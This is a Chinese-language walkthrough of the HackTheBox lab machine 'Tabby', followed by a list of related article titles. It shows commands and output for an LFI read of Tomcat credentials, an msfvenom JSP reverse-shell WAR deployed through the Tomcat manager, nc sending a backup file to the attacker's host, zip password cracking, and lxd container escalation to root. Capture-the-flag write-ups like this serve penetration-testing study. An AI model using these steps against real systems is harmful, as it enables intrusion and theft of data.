1、扫描

ssh可能有登录。80是web,8080常规是tomcat。就这几常规端口说明主要是进网页搜集信息

C:\root> nmap -A 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-16 15:49 CST
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.39s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Aggressive OS guesses: Linux 3.1

2、LFI

点开网页看看8080的tom猫。
下面给了user目录

80网页,点击news,跳到这个。打不开,但发现网址地址变了。那么我们把10.10.10.149 megahosting.htb这个加到本机/etc/hosts

做多了就知道。从file=可猜是经典的LFI漏洞

结合之前tom猫里的user目录,我再= 后面加入 user目录,是否能看到用户信息?

但按网站给的目录,还是不行。
我自己在本机上装个tomcat9

apt-get update
apt-get install tomcat9
updatedb
locate tomcat-users.xml

发现目录真实地址

再按这个目录,页面显示空白,用curl。出现

C:\root> curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--Licensed to the Apache Software Foundation (ASF) under one or morecontributor license agreements.  See the NOTICE file distributed withthis work for additional information regarding copyright ownership.The ASF licenses this file to You under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance withthe License.  You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, softwaredistributed under the License is distributed on an "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.See the License for the specific language governing permissions andlimitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0">
<!--NOTE:  By default, no user is included in the "manager-gui" role requiredto operate the "/manager/html" web application.  If you wish to use this app,you must define such a user - the username and password are arbitrary. It isstrongly recommended that you do NOT use one of the users in the commented outsection below since they are intended for use with the examples webapplication.
-->
<!--NOTE:  The sample user and role entries below are intended for use with theexamples web application. They are wrapped in a comment and thus are ignoredwhen reading this file. If you wish to configure these users for use with theexamples web application, do not forget to remove the <!.. ..> that surroundsthem. You will also need to set the passwords to something appropriate.
-->
<!--<role rolename="tomcat"/><role rolename="role1"/><user username="tomcat" password="<must-be-changed>" roles="tomcat"/><user username="both" password="<must-be-changed>" roles="tomcat,role1"/><user username="role1" password="<must-be-changed>" roles="role1"/>
--><role rolename="admin-gui"/><role rolename="manager-script"/><user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
C:\root> 

3、tomcat9渗透

底部看到账号密码后。做多了就知道因为tomcat是java写的,用war渗透。
先做恶意war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=9001 -f war > test.war

渗透,传进去。参考官方文档的远程执行http://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html

用curl远程传输执行

curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file test.war "http://megahosting.htb:8080//manager/text/deploy?path=/test.war"

本机打开接收。然后再点击这个网址触发

http://megahosting.htb:8080/test.war/

收到,升级shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

4、提权至ash

老套路linpeas进去扫https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

发现两个用户,做多了就知道先提权至ash再提root

发现backup,后备备用的意思,做多了就知道很有用

传到本机看看。

nc 10.10.14.9 31337 < /var/www/html/files/16162020_backup.zip

本机打开接收

nc -nlvp 31337 > tabby.zip

要密码。frackzip解密

C:\root\htb\tabby> fcrackzip tabby.zip -u -D -p /usr/share/wordlists/rockyou.txtPASSWORD FOUND!!!!: pw == admin@it
C:\root\htb\tabby>

拿到密后,打开文件,里面没啥有价值。

但这个密码是否是ash的呢??
靶机切换。成功

su ash

5、lxd提权 至 root

以ash身份继续linpeas扫
没啥价值发现,但是所在组是lxd

这里有篇lxd提权方法参考文章

但是试了很多次,我下载安装总是报错。按提示的方法也解决不了。我搜了搜别人的文章,他们下载安装很顺利,提权一气呵成,搞不懂。和中国网络有关???
所以换另一种方法,更简单搞定root。参考国外高手的文章https://0xdf.gitlab.io/2020/11/07/htb-tabby.html。他也是参考另一个高手的,可惜大陆 网络打不开。

ash@tabby:/var/lib/tomcat9$ cd /dev/shm
ash@tabby:/dev/shm$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2依次输入。 中途的询问全部按回车。
lxd initlxc image import bob.tar.bz2 --alias bobImagelxc init bobImage bobVM -c security.privileged=truelxc config device add bobVM realRoot disk source=/ path=rlxc start bobVM
lxc exec bobVM -- /bin/sh

hackthebox-tabby (LFI tomcat9 渗透 lxd 提权)相关推荐

  1. 针对HFS 2.3漏洞进行渗透测试提权(HFS:HttpFileServer)

    利用Metasploit对HFS 2.3渗透攻击提权 针对HFS 2.3漏洞进行渗透测试提权(HFS:HttpFileServer) msf6 > search hfs Matching Mod ...

  2. 内网渗透常用提权方式总结

    文章目录 前言 内网提权的常用方法 一.Windows系统内核溢出漏洞提权 1.手动查找系统潜在漏洞 2.使用Windows-Exploit-Suggester 3.使用sherlock 脚本 4.还 ...

  3. Linux渗透与提权:技巧总结篇

    本文为Linux渗透与提权技巧总结篇,旨在收集各种Linux渗透技巧与提权版本,方便各位同学在日后的渗透测试中能够事半功倍. Linux 系统下的一些常见路径: /etc/passwd/etc/sha ...

  4. LINUX渗透与提权总结

    本文为Linux渗透与提权技巧总结篇,旨在收集各种Linux渗透技巧与提权版本,方便各位同学在日后的渗透测试中能够事半功倍. Linux 系统下的一些常见路径: 001 /etc/passwd 002 ...

  5. 渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)

    1.目标机器权限提升 权限提升(privilege escalation) : 攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权.Windo ...

  6. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  7. 渗透测试——提权方式总结

    (内容整理自网络) 一. 什么是提权 提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局. Windows:User >> System Linux:User >&g ...

  8. WINDOWS渗透与提权总结(1)

    旁站路径问题: 1.读网站配置. 2.用以下VBS: 01 On Error Resume Next 02   03 If (LCase(Right(WScript.Fullname, 11)) = ...

  9. 渗透利器 | 提权辅助工具箱

    作为技术宅的我,日常最大的爱好就是逛论坛.某日看到论坛里有一款基于主机的漏洞扫描工具,用来查找主机上公开EXP的CVE.嗯嗯,我想还是叫提权辅助工具可能会更顺口一些.在我印象中,类似的工具其实还蛮多的 ...

最新文章

  1. ecshop /includes/init.php Arbitrary User Login Vul
  2. 腾讯产品经理的一天是啥样的?
  3. jvm(8)-虚拟机字节码执行引擎
  4. 美国计算机工程专业,美国计算机工程专业哪些学校比较好
  5. mmap内存映射、system V共享内存和Posix共享内存
  6. VSS2005 上传pdf 空白
  7. 分布式日志收集系统Apache Flume的设计详细介绍
  8. asp.net 大文上传配置
  9. 称重问题 —— 哪个是假币?
  10. jsp访问web-inf下的spring配置文件
  11. 利用quietHDD解决硬盘C1增长以及异响问题
  12. pdf阅读,保存上次阅读位置
  13. OPNET出错集锦:)
  14. oracle是什么数据库管理系统,数据库管理系统
  15. 去掉word中页眉上方的一条线
  16. SD卡数据被误删除该怎么恢复?
  17. Java获取本周一、上周一、下周一时间
  18. 前端组件库自定义主题切换探索-02-webpack-theme-color-replacer webpack 的实现逻辑和原理-01
  19. github fork PR 的简单使用
  20. C++面试 select poll epoll之间的区别

热门文章

  1. 点评番茄花园事件与M$在中国!
  2. KMP算法理解(超简洁-易懂代码)
  3. 解读富途上市后首份财报:营收增长超预期竞争加剧其能否保住增速
  4. 回顾·思考 @26岁
  5. 墨羽卿画第二章第6节:修行路,修心途
  6. 【计算机三级】网路技术学习笔记 第二章 中小型网络系统总体规划与设计
  7. 微信测试账号(验证成为开发者)总是配置失败
  8. HDU 1114 Piggy-Bank 存钱罐
  9. 深入探索 Android 包体积优化(匠心制作-下)
  10. 关于百度网盘群组,链接 转存问题 教程。